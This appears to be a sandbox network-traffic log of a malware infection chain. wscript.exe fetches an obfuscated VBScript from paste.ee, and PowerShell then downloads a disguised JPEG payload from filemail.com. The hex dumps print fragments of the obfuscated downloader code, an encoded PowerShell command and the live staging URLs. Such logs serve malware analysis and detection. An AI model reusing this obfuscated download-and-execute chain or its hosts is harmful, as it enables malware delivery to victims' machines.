Nov 20, 2024 20:33:30.780643940 CET	968	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 19:33:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://paste.ee/d/0jfAN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6hQuFzWkFtIvA5GY4UOFu15MZB4Vk9EHilJHvKMZgnKoUwML6czw7GJApaVuWlTKN5%2BaiDRUylJXVI8jYvwt3lgtujizcCNRY%2BCCiu7hNUaeDdBKbfzbFg0wNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5adf412b271a07-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1894&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=173&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: b2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	172.67.187.200	443	2732	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 19:33:32 UTC	173	OUT	GET /d/0jfAN HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
2024-11-20 19:33:32 UTC	1238	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 19:33:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KbjI%2FTkZaDDrTF%2Bj%2BSicJBAaVCCcDB58Tgk7ej9oXYiRCljHu56UBhIXORSrxWvooZdz%2Ba%2BeXvL2D3nydQRU9qHSkcQK8yoqN5M8COCImh%2BU9n3TUxkzZiBFpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5adf4d093b19cf-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 19:33:32 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 30 32 37 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 37 38 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 32 30 38 31 30 39 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 63 30 31 31 35 30 35 32 35 31 33 35 64 61 33 32 26 74 73 3d 35 35 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=2027&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2816&recv_bytes=787&delivery_rate=1208109&cwnd=252&unsent_bytes=0&cid=c01150525135da32&ts=559&x=0"
2024-11-20 19:33:32 UTC	1310	IN	Data Raw: 32 66 37 66 0d 0a 0d 0a 0d 0a 46 75 6e 63 74 69 6f 6e 20 52 65 70 6c 61 63 65 53 74 72 69 6e 67 28 42 79 56 61 6c 20 74 65 78 74 6f 2c 20 42 79 56 61 6c 20 70 72 6f 63 75 72 61 2c 20 42 79 56 61 6c 20 73 75 62 73 74 69 74 75 69 29 0d 0a 20 20 20 20 44 69 6d 20 70 6f 73 69 63 61 6f 0d 0a 20 20 20 20 70 6f 73 69 63 61 6f 20 3d 20 49 6e 53 74 72 28 74 65 78 74 6f 2c 20 70 72 6f 63 75 72 61 29 0d 0a 20 20 20 20 0d 0a 20 20 20 20 44 6f 20 57 68 69 6c 65 20 70 6f 73 69 63 61 6f 20 3e 20 30 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 6f 20 3d 20 4c 65 66 74 28 74 65 78 74 6f 2c 20 70 6f 73 69 63 61 6f 20 2d 20 31 29 20 26 20 73 75 62 73 74 69 74 75 69 20 26 20 4d 69 64 28 74 65 78 74 6f 2c 20 70 6f 73 69 63 61 6f 20 2b 20 4c 65 6e 28 70 72 6f 63 75 72 61 29 29 0d Data Ascii: 2f7fFunction ReplaceString(ByVal texto, ByVal procura, ByVal substitui) Dim posicao posicao = InStr(texto, procura) Do While posicao > 0 texto = Left(texto, posicao - 1) & substitui & Mid(texto, posicao + Len(procura))
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 6c 2e 52 75 6e 20 4e 57 43 4e 2c 20 30 2c 20 74 72 75 65 0d 0a 45 6e 64 20 49 66 0d 0a 20 20 20 20 20 20 20 20 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 20 4e 65 78 74 0d 0a 0d 0a 20 20 20 20 20 20 20 20 76 6e 71 68 76 20 3d 20 22 4a 69 67 67 4a 48 42 54 53 45 39 4e 5a 56 73 30 58 53 73 6b 63 48 4e 49 54 30 31 46 57 7a 4d 77 58 53 73 6e 57 43 63 70 49 43 67 6f 4a 31 42 6f 55 6d 6c 74 59 57 64 6c 56 58 4a 73 4a 79 73 6e 49 44 30 67 5a 6c 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 68 5a 61 48 52 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 30 63 48 4d 36 4c 79 38 78 4d 44 45 33 4c 6d 5a 70 62 47 56 74 59 57 6c 73 4c 6d 4e 76 62 53 39 68 63 47 6b 76 5a 69 63 72 4a 32 6c 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 73 5a 53 39 6e 5a 58 51 2f 5a 69 63 72 Data Ascii: l.Run NWCN, 0, trueEnd If On Error Resume Next vnqhv = "JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlZQFOEDIRUYCMKBShZaHRZQFOEDIRUYCMKBS0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lZQFOEDIRUYCMKBSsZS9nZXQ/Zicr
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 45 78 6c 62 6d 64 30 61 43 41 39 49 46 42 6f 55 6d 56 75 5a 45 6c 75 5a 47 56 34 49 43 30 67 55 47 68 53 63 33 52 68 63 6e 52 4a 62 6d 52 6c 65 44 74 51 61 46 4a 69 59 58 4e 6c 4e 6a 52 44 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 62 32 31 74 59 57 35 6b 49 44 30 67 55 47 68 53 61 57 31 68 5a 32 56 55 5a 58 68 30 4c 6c 4e 31 59 6e 4e 30 63 6d 6c 75 5a 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 79 68 51 61 46 4a 7a 22 0d 0a 20 20 20 20 20 20 20 20 76 6e 71 68 76 20 3d 20 76 6e 71 68 76 20 26 20 22 64 47 46 79 64 45 6c 75 5a 47 56 34 4a 79 73 6e 4c 43 42 51 61 46 4a 69 59 58 4e 6c 4e 6a 52 4d 5a 57 35 6e 64 47 67 70 4f 31 42 6f 55 6d 4a 68 63 32 55 32 4e 46 4a 6c 64 6d 56 79 63 32 56 6b 49 44 30 67 4c 57 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 70 Data Ascii: Exlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDZQFOEDIRUYCMKBSb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZZQFOEDIRUYCMKBSyhQaFJz" vnqhv = vnqhv & "dGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWZQFOEDIRUYCMKBSp
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 6c 68 5a 5a 47 56 7a 59 58 52 70 64 6d 46 6b 62 32 5a 59 57 53 6b 70 4f 79 63 70 4c 6c 4a 46 63 47 78 42 51 30 55 6f 4b 46 74 6a 61 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 45 46 53 58 54 45 77 4d 69 74 62 59 32 68 42 55 6c 30 34 4f 43 74 62 59 32 68 42 55 6c 30 34 4f 53 6b 73 57 33 4e 30 55 6b 6c 4f 5a 31 31 62 59 32 68 42 55 6c 30 7a 4f 53 6b 75 55 6b 56 77 62 45 46 44 52 53 67 6f 57 32 4e 6f 51 56 4a 64 4d 54 45 33 4b 31 74 6a 61 45 46 53 58 54 63 32 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 4b 31 74 6a 61 45 46 53 58 54 67 30 4b 53 77 6e 66 43 63 70 4c 6c 4a 46 63 47 78 42 51 30 55 6f 4a 31 42 6f 55 69 63 73 4a 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 79 51 6e 4b 53 41 70 22 0d 0a 0d 0a 20 20 20 20 20 20 20 20 44 69 6d 20 61 63 61 72 72 65 Data Ascii: lhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaZQFOEDIRUYCMKBSEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2ZQFOEDIRUYCMKBSK1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJZQFOEDIRUYCMKBSyQnKSAp" Dim acarre
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 53 74 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 72 69 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 6e 67 28 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 5b 73 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 79 73 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 74 65 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 6d 2e 43 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 6f 6e 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 76 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 65 72 5a 51 46 4f 45 44 Data Ascii: JJbnw = JJbnw & "StZQFOEDIRUYCMKBS" JJbnw = JJbnw & "riZQFOEDIRUYCMKBSng(" JJbnw = JJbnw & "[sZQFOEDIRUYCMKBSys" JJbnw = JJbnw & "teZQFOEDIRUYCMKBSm.CZQFOEDIRUYCMKBSon" JJbnw = JJbnw & "vZQFOEDIRUYCMKBSerZQFOED
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 4e 6f 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 50 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 72 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 6f 66 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 69 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 6c 65 20 2d 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 63 6f 6d 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 6d 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 61 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 6e 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 64 20 24 5a 51 46 4f 45 44 49 52 55 59 43 4d 4b 42 53 4f 22 0d 0a 20 Data Ascii: FOEDIRUYCMKBSNo" JJbnw = JJbnw & "PZQFOEDIRUYCMKBSrZQFOEDIRUYCMKBSof" JJbnw = JJbnw & "iZQFOEDIRUYCMKBSle -ZQFOEDIRUYCMKBScom" JJbnw = JJbnw & "mZQFOEDIRUYCMKBSa" JJbnw = JJbnw & "nZQFOEDIRUYCMKBSd $ZQFOEDIRUYCMKBSO"
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 20 20 45 73 63 61 70 65 20 3d 20 45 73 63 61 70 65 20 26 20 22 26 61 70 6f 73 3b 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 65 6c 73 65 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 73 63 61 70 65 20 3d 20 45 73 63 61 70 65 20 26 20 4d 69 64 28 73 74 72 2c 20 69 2c 20 31 29 0d 0a 20 20 20 20 20 20 20 20 65 6e 64 20 73 65 6c 65 63 74 0d 0a 20 20 20 20 6e 65 78 74 0d 0a 65 6e 64 20 66 75 6e 63 74 69 6f 6e 0d 0a 0d 0a 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 27 20 20 20 20 0d 0a 27 20 43 68 65 63 6b 73 20 69 66 20 74 68 69 73 20 73 63 72 69 70 74 20 69 73 20 72 75 6e 6e 69 6e 67 20 75 6e 64 65 72 20 63 73 63 72 69 70 74 2e 65 78 65 0d 0a 0d 0a 70 72 69 76 61 74 65 20 66 75 6e 63 74 69 6f 6e 20 73 65 67 72 65 Data Ascii: Escape = Escape & "'" case else Escape = Escape & Mid(str, i, 1) end select nextend function''''''''''''''''''''' ' Checks if this script is running under cscript.exeprivate function segre
2024-11-20 19:33:32 UTC	1369	IN	Data Raw: 74 65 4c 69 6e 65 20 65 72 72 44 65 73 63 0d 0a 20 20 20 20 20 20 20 20 57 53 63 72 69 70 74 2e 51 75 69 74 28 61 62 73 6f 72 76 65 64 6f 69 72 6f 29 0d 0a 20 20 20 20 65 6e 64 20 69 66 0d 0a 65 6e 64 20 73 75 62 0d 0a 0d 0a 27 20 41 73 73 65 72 74 20 4e 61 6d 65 64 20 41 72 67 75 6d 65 6e 74 20 4c 65 6e 67 74 68 0d 0a 70 72 69 76 61 74 65 20 73 75 62 20 41 53 53 45 52 54 4e 41 4c 28 6e 61 6d 65 64 41 72 67 29 0d 0a 20 20 20 20 69 66 20 4c 65 6e 28 77 73 6d 61 6e 43 6d 64 4c 69 6e 65 4f 62 6a 2e 41 72 67 75 6d 65 6e 74 28 6e 61 6d 65 64 41 72 67 29 29 20 3d 20 30 20 74 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 73 74 64 45 72 72 2e 57 72 69 74 65 4c 69 6e 65 20 72 65 73 75 72 67 69 6d 65 6e 74 6f 28 22 4c 5f 45 52 52 5f 4d 65 73 73 61 67 65 22 29 20 26 20 72 Data Ascii: teLine errDesc WScript.Quit(absorvedoiro) end ifend sub' Assert Named Argument Lengthprivate sub ASSERTNAL(namedArg) if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then stdErr.WriteLine resurgimento("L_ERR_Message") & r
2024-11-20 19:33:32 UTC	1274	IN	Data Raw: 6c 51 66 50 42 6f 53 57 63 52 57 5a 69 6d 6c 6c 6d 70 55 4e 4b 5a 65 69 68 67 55 61 6b 7a 66 6b 22 0d 0a 0d 0a 69 47 62 61 6e 49 4e 7a 78 68 69 4e 4f 62 5a 4e 4b 47 63 42 50 74 66 4b 4b 76 65 4e 6d 6f 62 62 6b 64 4a 50 70 4e 50 5a 63 49 4e 54 63 68 4b 65 52 6c 4c 41 4a 4c 69 55 57 6e 73 70 57 76 43 43 70 63 76 68 20 3d 20 22 5a 4c 6d 4b 6a 66 57 66 4b 69 55 54 57 42 6b 4c 62 49 62 5a 68 7a 4c 69 57 4f 68 57 71 48 57 4c 47 68 57 6d 61 41 52 5a 52 4c 6f 50 4e 57 47 65 69 47 65 57 6f 4c 75 4a 69 63 6e 65 52 4f 6e 4c 54 54 6f 57 22 0d 0a 47 4c 68 4b 4e 78 61 6b 76 57 4c 63 55 4b 7a 6b 47 6d 4b 6b 5a 48 62 61 6d 57 57 50 54 68 47 65 4c 6d 54 6b 47 7a 4b 68 65 73 68 62 70 70 6d 47 76 4f 4c 47 69 4c 47 4c 6c 6f 4b 6c 57 4c 57 57 69 61 41 47 20 3d 20 22 63 70 6d Data Ascii: lQfPBoSWcRWZimllmpUNKZeihgUakzfk"iGbanINzxhiNObZNKGcBPtfKKveNmobbkdJPpNPZcINTchKeRlLAJLiUWnspWvCCpcvh = "ZLmKjfWfKiUTWBkLbIbZhzLiWOhWqHWLGhWmaARZRLoPNWGeiGeWoLuJicneROnLTToW"GLhKNxakvWLcUKzkGmKkZHbamWWPThGeLmTkGzKheshbppmGvOLGiLGLloKlWLWWiaAG = "cpm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49734	142.215.209.78	443	3960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 19:33:48 UTC	192	OUT	GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1 Host: 1017.filemail.com Connection: Keep-Alive
2024-11-20 19:33:49 UTC	324	IN	HTTP/1.1 200 OK Content-Length: 2230233 Content-Type: image/jpeg Last-Modified: Thu, 07 Nov 2024 02:06:04 GMT Accept-Ranges: bytes ETag: 4bb5a8185f3b16880e3dcc573015c5d9 X-Transfer-ID: wxhdiueivoluihj Content-Disposition: attachment; filename=new_imagem.jpg Date: Wed, 20 Nov 2024 19:33:48 GMT Connection: close
2024-11-20 19:33:49 UTC	2829	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: 1f 71 de be 96 e6 f7 0f 7c c8 f1 3d 3b 6a 61 8e 38 e5 68 88 53 ea 51 cd e4 69 8b 69 b6 02 ec e5 68 59 ea 78 eb 81 ea 25 9c b2 90 2b 69 19 91 39 68 a6 8e 4d 96 a1 83 30 63 c6 30 9a 85 d8 ac 59 55 5b 81 67 92 71 2f 14 95 e6 85 a2 86 89 65 2a 6b b5 e0 6a 45 e2 ed 26 a4 45 1f aa 31 d4 a9 e0 1f 6c cd 97 c4 4b c9 2b 9e 77 31 20 fd 71 4d 32 2f 84 e8 00 6d cc e7 80 7b 9f 8e 27 14 ca fc 0f c3 cf 24 60 3a 67 91 e4 34 0b 1a be b9 07 54 77 8b e0 11 ef df 04 93 a2 2b 51 f5 1e 2b e1 99 7a 9d 2e ac 78 92 ce 35 2d f7 72 2b cb a1 5f 3c 0d 4d 46 b0 24 43 7b 80 01 ea 73 28 78 e4 72 6a 44 11 48 b2 b3 70 42 9e 83 16 f1 5d 24 be 21 a6 68 23 72 9b bd 25 be 1e f9 e5 fc 03 ec d2 68 fc 6e 67 3a a6 90 44 05 1e 39 27 eb 81 f4 74 f1 9d 36 8e 19 1e 59 f6 2c 5c 32 f7 51 99 7e 1d f6 df Data Ascii: q\|=;ja8hSQiihYx%+i9hM0c0YU[gq/e*kjE&E1lK+w1 qM2/m{'$`:g4Tw+Q+z.x5-r+_<MF$C{s(xrjDHpB]$!h#r%hng:D9't6Y,\2Q~
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: e1 e3 2a 55 78 17 d8 df cf 2b 2c 4e 80 47 2a b5 05 dd 83 d3 29 55 65 55 65 1b 88 c0 d0 66 49 22 dc ae c1 81 be 17 8e 98 b8 77 8c 15 90 2d 6e ea 32 88 5e 32 40 1b ab 2a 25 32 69 64 0c c3 75 1f cc 74 c0 b4 00 44 43 48 3d 24 9e be d9 57 87 73 82 09 b3 d6 b1 53 aa 77 34 e4 5d 03 47 e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 Data Ascii: Ux+,NG)UeUefI"w-n2^2@%2idutDCH=$WsSw4]GI@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: 42 80 3f 9e 6b e8 1a 11 e1 5a 15 24 16 30 21 20 7f ba 33 c6 6b 34 eb a7 90 36 9e 63 22 b2 b0 03 b0 5a e7 9e 9e ff 00 96 7a 1f 0b d6 14 f0 b8 09 82 d9 54 2a 9a ea 28 60 6b 96 8e 36 f3 18 0d a0 d6 18 79 6e a0 95 e0 f4 23 32 c4 87 56 a6 3a a2 79 2b d0 8c 6a 13 2a 44 b1 9e 4a fb e0 5e 7d 8a a6 f6 91 fa e5 7c f0 cb b4 05 34 3d b2 b2 44 f2 2b 58 17 7f 2c 18 d3 b9 db 5c 10 68 f3 db 02 00 21 0a 03 c9 ef 58 1f 25 5d 8a be d6 db ce de f8 77 66 81 cf 98 85 80 1c 37 b6 20 64 47 d4 17 04 82 45 60 3b 2c 48 48 07 6d 11 c0 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 Data Ascii: B?kZ$0! 3k46c"ZzT(`k6yn#2V:y+jDJ^}\|4=D+X,\h!X%]wf7 dGE`;,HHm$gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: 65 23 90 45 70 0e 11 5c 1b 24 a7 3d 47 b6 26 64 64 41 c7 3f 1c 1a a9 72 4d d6 01 67 27 79 3c 00 3a 56 01 89 6e a7 38 93 c8 eb 9c 4e 07 2d 82 48 1d 32 db 99 ba 91 7d b2 36 d2 d8 3c e5 7b f3 81 72 18 02 4d 50 f8 e5 4f 39 07 a9 ac 8a c0 b8 52 5a 85 5f c4 e1 00 78 c5 82 6b da f8 c1 90 36 83 df 38 b1 6a ae 30 08 ec fb 81 b3 64 58 cb 96 2f 05 13 6d 76 70 5b dd 58 31 22 ea a8 e1 22 6d e7 6e d0 2b 92 7d f0 02 a7 69 e4 73 d4 5e 10 4b c1 6a 17 5c e5 a5 a9 24 b6 1b 68 55 62 e4 51 c0 e3 c9 ce 07 90 7d b2 2b 3a b0 2e ee 59 89 39 4a ce ac ea c0 ea c2 a3 aa ad 15 04 fc 70 55 92 05 91 ce 07 a1 d0 ea 74 e9 a6 8c 81 44 9f 50 f8 e0 b5 9a 89 16 70 a0 1f 28 35 9a f6 cc d3 a6 6a 57 8d 89 8d 8f 5e 94 71 c8 e7 af 4b 00 6c ed 07 df e3 81 a2 d6 86 77 5a dd 60 00 7b 70 3f be 0e 29 Data Ascii: e#Ep\$=G&ddA?rMg'y<:Vn8N-H2}6<{rMPO9RZ_xk68j0dX/mvp[X1""mn+}is^Kj\$hUbQ}+:.Y9JpUtDPp(5jW^qKlwZ`{p?)
2024-11-20 19:33:49 UTC	8192	IN	Data Raw: fd 33 e6 e1 1c 0e 97 f0 cf 65 fb 3e 32 47 37 8d bc 48 4c 8b e1 ea 54 02 07 ff 00 b4 43 ef 80 df 85 06 1f b4 ef 14 31 85 65 bf 12 21 41 2c 08 f2 a6 a1 67 17 fb 7a 61 4d 47 82 94 85 d2 56 f0 7d 1b 02 64 3b 4a 84 65 aa 22 ec 80 bd 0f e7 d7 34 b4 48 cd fb 5f f1 84 55 db 73 f8 90 1b 6b bc 53 0e b9 9b f6 db 4e d2 cb e0 b2 88 a4 47 93 c1 74 81 8b 1b 04 84 ad c3 f2 c0 f5 7f b7 54 77 f1 af 0a 70 c5 b7 69 99 41 1d 0b 06 36 2f e1 9f 37 d1 6b a7 89 02 49 08 05 46 d1 ea eb fe ab 3e 91 fb 5d d2 49 a5 f1 1f b3 f0 31 56 11 69 5d 76 a8 da 4b 06 5d cd ff 00 17 1f 96 7c dd 11 9f 50 bb 49 da 09 1c 0b be 7d f0 1e 7d 4c 8c 9b 8a 00 ac 38 b6 e3 f9 62 6f 23 91 b4 c7 1f 1d 0e ef ff 00 47 1c 9d 55 53 60 16 2e be 39 9e 62 7d d4 16 c0 6a bd dc 8f a6 05 c4 fe 4a ee 28 81 8f 40 1b af Data Ascii: 3e>2G7HLTC1e!A,gzaMGV}d;Je"4H_UskSNGtTwpiA6/7kIF>]I1Vi]vK]\|PI}}L8bo#GUS`.9b}jJ(@
